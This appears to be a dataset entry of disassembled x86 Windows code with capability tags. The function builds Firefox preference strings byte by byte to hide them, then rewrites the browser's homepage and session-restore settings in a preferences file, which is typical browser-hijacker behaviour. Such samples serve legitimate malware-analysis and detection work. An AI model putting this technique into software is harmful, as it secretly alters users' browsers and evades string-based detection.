Function at 0x446560
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x60fa68
mov eax, dword fs:[0]
push eax
sub esp, 0x30
mov eax, dword [0x685680]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x3c], eax
mov dword [ebp - 4], 0
mov eax, dword [eax + 8]
or ebx, 0xffffffff
cmp dword [eax - 0xc], 0
je 0x447488
push 0
push 0
push 3
push 0
push 0
push SysReAllocStringLen
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, ebx
je 0x447488
push 0
push edi
mov dword [ebp - 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
lea ecx, [esi + 1]
push ecx
call fcn.004b998e
add esp, 4
lea ecx, [ebp - 0x18]
push 0
push ecx
push esi
push eax
push edi
mov dword [ebp - 0x38], eax
mov byte [eax + esi], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x44660b
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x447488
push 0x6508f0
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x2c], 0
call fcn.0042ea30
mov esi, dword [ebp - 0x38]
push esi
lea eax, [ebp - 0x2c]
push 0x6516cc
push eax
mov byte [ebp - 4], 1
call fcn.00402f20
push esi
call fcn.004b9997
add esp, 0x10
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x686984]
mov ecx, 0x686984
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x30], eax
push 0x62
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 2
call fcn.00406890
push 0x72
lea ecx, [ebp - 0x30]
call fcn.00406890
push 0x6f
lea ecx, [ebp - 0x30]
call fcn.00406890
push 0x77
lea ecx, [ebp - 0x30]
call fcn.00406890
push 0x73
lea ecx, [ebp - 0x30]
call fcn.00406890
push 0x65
lea ecx, [ebp - 0x30]
call fcn.00406890
push 0x72
lea ecx, [ebp - 0x30]
call fcn.00406890
push 0x2e
lea ecx, [ebp - 0x30]
call fcn.00406890
mov eax, dword [0x686984]
mov ecx, 0x686984
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x28], eax
push 0x75
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 3
call fcn.00406890
push 0x73
lea ecx, [ebp - 0x28]
call fcn.00406890
push 0x65
lea ecx, [ebp - 0x28]
call fcn.00406890
push 0x72
lea ecx, [ebp - 0x28]
call fcn.00406890
push 0x5f
lea ecx, [ebp - 0x28]
call fcn.00406890
push 0x70
lea ecx, [ebp - 0x28]
call fcn.00406890
push 0x72
lea ecx, [ebp - 0x28]
call fcn.00406890
push 0x65
lea ecx, [ebp - 0x28]
call fcn.00406890
push 0x66
lea ecx, [ebp - 0x28]
call fcn.00406890
push 0x28
lea ecx, [ebp - 0x28]
call fcn.00406890
push 0x22
lea ecx, [ebp - 0x28]
call fcn.00406890
push 0x62
lea ecx, [ebp - 0x28]
call fcn.00406890
push 0x72
lea ecx, [ebp - 0x28]
call fcn.00406890
push 0x6f
lea ecx, [ebp - 0x28]
call fcn.00406890
push 0x77
lea ecx, [ebp - 0x28]
call fcn.00406890
push 0x73
lea ecx, [ebp - 0x28]
call fcn.00406890
push 0x65
lea ecx, [ebp - 0x28]
call fcn.00406890
push 0x72
lea ecx, [ebp - 0x28]
call fcn.00406890
push 0x2e
lea ecx, [ebp - 0x28]
call fcn.00406890
push 0x73
lea ecx, [ebp - 0x28]
call fcn.00406890
push 0x74
lea ecx, [ebp - 0x28]
call fcn.00406890
push 0x61
lea ecx, [ebp - 0x28]
call fcn.00406890
push 0x72
lea ecx, [ebp - 0x28]
call fcn.00406890
push 0x74
lea ecx, [ebp - 0x28]
call fcn.00406890
push 0x75
lea ecx, [ebp - 0x28]
call fcn.00406890
push 0x70
lea ecx, [ebp - 0x28]
call fcn.00406890
push 0x2e
lea ecx, [ebp - 0x28]
call fcn.00406890
push 0x68
lea ecx, [ebp - 0x28]
call fcn.00406890
push 0x6f
lea ecx, [ebp - 0x28]
call fcn.00406890
push 0x6d
lea ecx, [ebp - 0x28]
call fcn.00406890
push 0x65
lea ecx, [ebp - 0x28]
call fcn.00406890
push 0x70
lea ecx, [ebp - 0x28]
call fcn.00406890
push 0x61
lea ecx, [ebp - 0x28]
call fcn.00406890
push 0x67
lea ecx, [ebp - 0x28]
call fcn.00406890
push 0x65
lea ecx, [ebp - 0x28]
call fcn.00406890
push 0x22
lea ecx, [ebp - 0x28]
call fcn.00406890
push 0x2c
lea ecx, [ebp - 0x28]
call fcn.00406890
mov ebx, dword [ebp - 0x28]
mov edi, dword [ebp - 0x30]
test ebx, ebx
je 0x446955
mov eax, dword [ebp - 0x2c]
cmp dword [eax - 0xc], 0
jl 0x446958
push ebx
push eax
call fcn.005ce5b0
mov esi, eax
add esp, 8
test esi, esi
je 0x446955
mov eax, dword [ebp - 0x2c]
sub esi, eax
mov dword [ebp - 0x20], esi
cmp esi, 0xffffffff
je 0x446958
push esi
push 0x652b9c
lea ecx, [ebp - 0x2c]
call fcn.004181e0
sub eax, esi
mov dword [ebp - 0x38], eax
lea ecx, [eax - 0x29]
push ecx
lea ecx, [esi + 0x27]
push ecx
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x1c], 0
call fcn.0042ec50
mov byte [ebp - 4], 4
mov eax, dword [ebp - 0x1c]
push ecx
add eax, 0xfffffff0
mov esi, esp
push eax
mov dword [ebp - 0x34], eax
call fcn.0040a5a0
mov ecx, dword [ebp - 0x3c]
add eax, 0x10
add esp, 4
mov dword [esi], eax
call fcn.00444d10
mov eax, dword [ebp - 0x38]
inc eax
push eax
push dword [ebp - 0x20]
lea ecx, [ebp - 0x2c]
call fcn.0042eb10
mov eax, dword [0x686984]
mov ecx, 0x686984
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 5
push dword [ebp + 8]
lea eax, [ebp - 0x24]
push ebx
push str._s___s___
push eax
call fcn.00402f20
mov esi, dword [ebp - 0x24]
add esp, 0x10
lea ecx, [ebp - 0x2c]
push esi
push dword [ebp - 0x20]
call fcn.00449e10
lea edx, [esi - 0x10]
or esi, 0xffffffff
mov byte [ebp - 4], 4
lea eax, [edx + 0xc]
mov ecx, esi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x446934
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x34]
mov byte [ebp - 4], 3
lea eax, [edx + 0xc]
mov ecx, esi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x4469f1
mov ecx, dword [edx]
push edx
jmp 0x4469ec
mov eax, dword [ebp - 0x2c]
test edi, edi
jne 0x446961
or eax, 0xffffffff
jmp 0x446982
cmp dword [eax - 0xc], 0
jge 0x44696c
or eax, 0xffffffff
jmp 0x446982
push edi
push eax
call fcn.005ce5b0
add esp, 8
test eax, eax
jne 0x44697f
or eax, 0xffffffff
jmp 0x446982
sub eax, dword [ebp - 0x2c]
push eax
push 0x652ba0
lea ecx, [ebp - 0x2c]
call fcn.004181e0
mov edx, dword [0x686984]
mov ecx, 0x686984
mov dword [ebp - 0x34], eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 6
push dword [ebp + 8]
lea eax, [ebp - 0x1c]
push ebx
push str._s___s____r_n
push eax
call fcn.00402f20
mov esi, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x34]
add esp, 0x10
add eax, 2
push esi
push eax
lea ecx, [ebp - 0x2c]
call fcn.00449e10
add esi, 0xfffffff0
mov byte [ebp - 4], 3
lea eax, [esi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x4469f1
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
cmp dword [ebp + 0xc], 0
je 0x447213
mov eax, dword [0x686984]
mov ecx, 0x686984
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x1c], eax
push 0x75
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 7
call fcn.00406890
push 0x73
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x65
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x72
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x5f
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x70
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x72
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x65
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x66
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x28
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x22
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x62
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x72
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x6f
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x77
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x73
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x65
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x72
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x2e
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x73
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x65
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x73
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x73
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x69
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x6f
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x6e
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x73
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x74
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x6f
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x72
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x65
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x2e
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x72
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x65
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x73
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x75
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x6d
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x65
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x5f
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x73
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x65
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x73
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x73
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x69
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x6f
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x6e
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x5f
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x6f
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x6e
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x63
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x65
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x22
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x2c
lea ecx, [ebp - 0x1c]
call fcn.00406890
mov eax, dword [0x686984]
mov ecx, 0x686984
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x24], eax
push 0x75
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 8
call fcn.00406890
push 0x73
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x65
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x72
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x5f
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x70
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x72
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x65
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x66
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x28
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x22
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x62
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x72
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x6f
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x77
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x73
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x65
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x72
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x2e
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x73
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x65
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x73
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x73
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x69
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x6f
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x6e
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x73
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x74
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x6f
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x72
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x65
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x2e
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x72
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x65
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x73
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x75
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x6d
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x65
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x5f
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x73
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x65
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x73
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x73
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x69
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x6f
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x6e
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x5f
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x6f
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x6e
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x63
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x65
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x22
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x2c
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x20
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x74
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x72
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x75
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x65
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x29
lea ecx, [ebp - 0x24]
call fcn.00406890
push 0x3b
lea ecx, [ebp - 0x24]
call fcn.00406890
mov eax, dword [0x686984]
mov ecx, 0x686984
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x20], eax
push 0x75
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 9
call fcn.00406890
push 0x73
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x65
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x72
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x5f
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x70
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x72
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x65
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x66
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x28
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x22
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x62
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x72
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x6f
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x77
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x73
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x65
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x72
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x2e
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x73
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x65
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x73
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x73
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x69
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x6f
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x6e
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x73
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x74
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x6f
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x72
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x65
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x2e
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x72
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x65
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x73
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x75
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x6d
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x65
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x5f
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x73
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x65
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x73
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x73
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x69
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x6f
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x6e
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x5f
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x6f
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x6e
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x63
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x65
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x22
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x2c
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x20
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x74
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x72
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x75
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x65
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x29
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0x3b
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0xd
lea ecx, [ebp - 0x20]
call fcn.00406890
push 0xa
lea ecx, [ebp - 0x20]
call fcn.00406890
mov esi, dword [ebp - 0x1c]
test esi, esi
je 0x447169
mov eax, dword [ebp - 0x2c]
cmp dword [eax - 0xc], 0
jl 0x44716c
push esi
push eax
call fcn.005ce5b0
mov ecx, eax
add esp, 8
test ecx, ecx
je 0x447169
mov eax, dword [ebp - 0x2c]
sub ecx, eax
mov dword [ebp - 0x38], ecx
cmp ecx, 0xffffffff
je 0x44716c
push ecx
push 0x652b9c
lea ecx, [ebp - 0x2c]
call fcn.004181e0
mov ecx, dword [ebp - 0x38]
sub eax, ecx
inc eax
push eax
push ecx
lea ecx, [ebp - 0x2c]
call fcn.0042eb10
push dword [ebp - 0x24]
push dword [ebp - 0x38]
jmp 0x4471ab
mov eax, dword [ebp - 0x2c]
test edi, edi
jne 0x447175
or eax, 0xffffffff
jmp 0x447196
cmp dword [eax - 0xc], 0
jge 0x447180
or eax, 0xffffffff
jmp 0x447196
push edi
push eax
call fcn.005ce5b0
add esp, 8
test eax, eax
jne 0x447193
or eax, 0xffffffff
jmp 0x447196
sub eax, dword [ebp - 0x2c]
push eax
push 0x652ba0
lea ecx, [ebp - 0x2c]
call fcn.004181e0
push dword [ebp - 0x20]
add eax, 2
push eax
lea ecx, [ebp - 0x2c]
call fcn.00449e10
mov byte [ebp - 4], 8
mov edx, dword [ebp - 0x20]
add edx, 0xfffffff0
or ecx, 0xffffffff
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x4471d4
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 7
mov edx, dword [ebp - 0x24]
add edx, 0xfffffff0
or ecx, 0xffffffff
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x4471f5
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
add esi, 0xfffffff0
mov byte [ebp - 4], 3
lea eax, [esi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x447213
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [0x686984]
mov ecx, 0x686984
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x1c], eax
push 0x75
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0xa
call fcn.00406890
push 0x73
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x65
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x72
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x5f
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x70
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x72
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x65
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x66
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x28
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x22
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x62
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x72
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x6f
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x77
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x73
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x65
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x72
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x2e
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x73
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x74
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x61
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x72
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x74
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x75
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x70
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x2e
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x70
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x61
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x67
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x65
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x22
lea ecx, [ebp - 0x1c]
call fcn.00406890
push 0x2c
lea ecx, [ebp - 0x1c]
call fcn.00406890
mov esi, dword [ebp - 0x1c]
test esi, esi
je 0x4473bb
mov eax, dword [ebp - 0x2c]
cmp dword [eax - 0xc], 0
jl 0x4473bb
push esi
push eax
call fcn.005ce5b0
add esp, 8
test eax, eax
je 0x4473bb
sub eax, dword [ebp - 0x2c]
mov dword [ebp - 0x34], eax
cmp eax, 0xffffffff
je 0x4473bb
push eax
push 0x652b9c
lea ecx, [ebp - 0x2c]
call fcn.004181e0
mov ecx, dword [ebp - 0x34]
sub eax, ecx
inc eax
push eax
push ecx
lea ecx, [ebp - 0x2c]
call fcn.0042eb10
lea eax, [ebp - 0x2c]
push eax
call fcn.004476b0
mov eax, dword [ebp - 0x3c]
push 0
push 0x80
push 3
push 0
push 0
push 0x40000000
push dword [eax + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, dword [ebp - 0x2c]
push 0
mov edx, dword [ecx - 0xc]
lea ebx, [ebp - 0x14]
push ebx
push edx
push ecx
push eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x14], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esi, 0xfffffff0
mov byte [ebp - 4], 3
lea eax, [esi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
mov ebx, dword [ebp - 0x28]
test ecx, ecx
jg 0x44742b
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
lea edx, [ebx - 0x10]
or ebx, 0xffffffff
mov byte [ebp - 4], 2
lea eax, [edx + 0xc]
mov ecx, ebx
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x44744b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
add edi, 0xfffffff0
mov byte [ebp - 4], 1
lea eax, [edi + 0xc]
mov ecx, ebx
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x447468
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0x2c]
add edx, 0xfffffff0
mov ecx, ebx
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x447488
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp + 8]
add edx, 0xfffffff0
lea eax, [edx + 0xc]
lock xadd dword [eax], ebx
dec ebx
test ebx, ebx
jg 0x4474a9
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.005cd355
mov esp, ebp
pop ebp
ret 8